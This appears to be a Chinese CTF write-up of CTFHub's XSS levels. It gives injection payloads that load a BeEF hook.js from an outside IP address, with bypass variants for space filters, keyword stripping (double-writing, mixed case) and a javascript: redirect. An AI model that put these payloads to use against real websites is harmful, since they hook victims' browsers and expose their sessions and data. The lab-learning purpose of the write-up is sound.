ctfhub_WEB基础关(4)

发布时间 2023-09-04 22:45:10作者: 凉城厌心

WEB基础

五、XSS

1、反射型

该关卡刚开始不知道flag存在哪儿,刚开始只在name框中提交东西,但是无法获取到falg,查看了提示,然后流程大概是先在Name框中输入,提交,然后将提交之后的网址复制粘贴到提交url的框中,就可以得到falg

  • 利用beef工具来进行

  • 在输入姓名的框中输入构造的payload然后点击提交

    <script src='http://8.130.109.21:3000/hook.js'></script>
    
  • 将提交后的url复制粘贴到第二个提交框中,点击提交

  • 然后在beef平台上查看信息

2、存储型

存储型的获取flag过程和反射型的一致

  • 提交payload,并且复制url到相应的url框中

  • 在beef平台上查看flag

3、DOM型

  • 这一关像之前的一样提交payload,发现回显的信息有问题然后去查看源码

  • 查看页面源码,应该是要闭合语句,重新构成payload

  • 构造新的payload

    '</script> <script src="http://8.130.109.21:3000/hook.js">''
    

  • 然后去beef平台上查看flag

4、DOM型跳转

  • 点进去发现就只有一个输入框,另外一个不可以用,并且该请求是get请求,查看页面源代码,可以得到构造语句时需要写成jumpto=的形式

  • 构造新的payload,然后进行提交

    ?jumpto=javascript:$.getScript("http://8.130.109.21:3000/hook.js")
    

    • 使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 beef的 js 脚本
  • 将上面提交后的网址粘贴复制到url框中,点击提交

  • 在beef平台上查看flag

5、过滤空格

过滤空格的绕过方法,利用/来代替空格

  • 构造payload

    <script/src='http://8.130.109.21:3000/hook.js'></script>
    

  • 将提交后的网址复制到URL的框中然后提交

  • 查看beef平台上的FALG

6、关键词绕过

关键词绕过的方法一般有大小写绕过,双写绕过

  • 输入<script src='http://8.130.109.21:3000/hook.js'></script>后,发现script直接被替换为空了

  • 试试双写绕过

    <scscriptript src='http://8.130.109.21:3000/hook.js'></scrscriptipt>
    

    发现可以绕过

    • 复制链接到URL框中,然后提交
    • 去beef平台查看flag
  • 试试大小写绕过

    • 构造payload,可以绕过

      <scRipt src='http://8.130.109.21:3000/hook.js'></scRipt>
      
    • 复制到url框中

    • 去beef平台中查看结果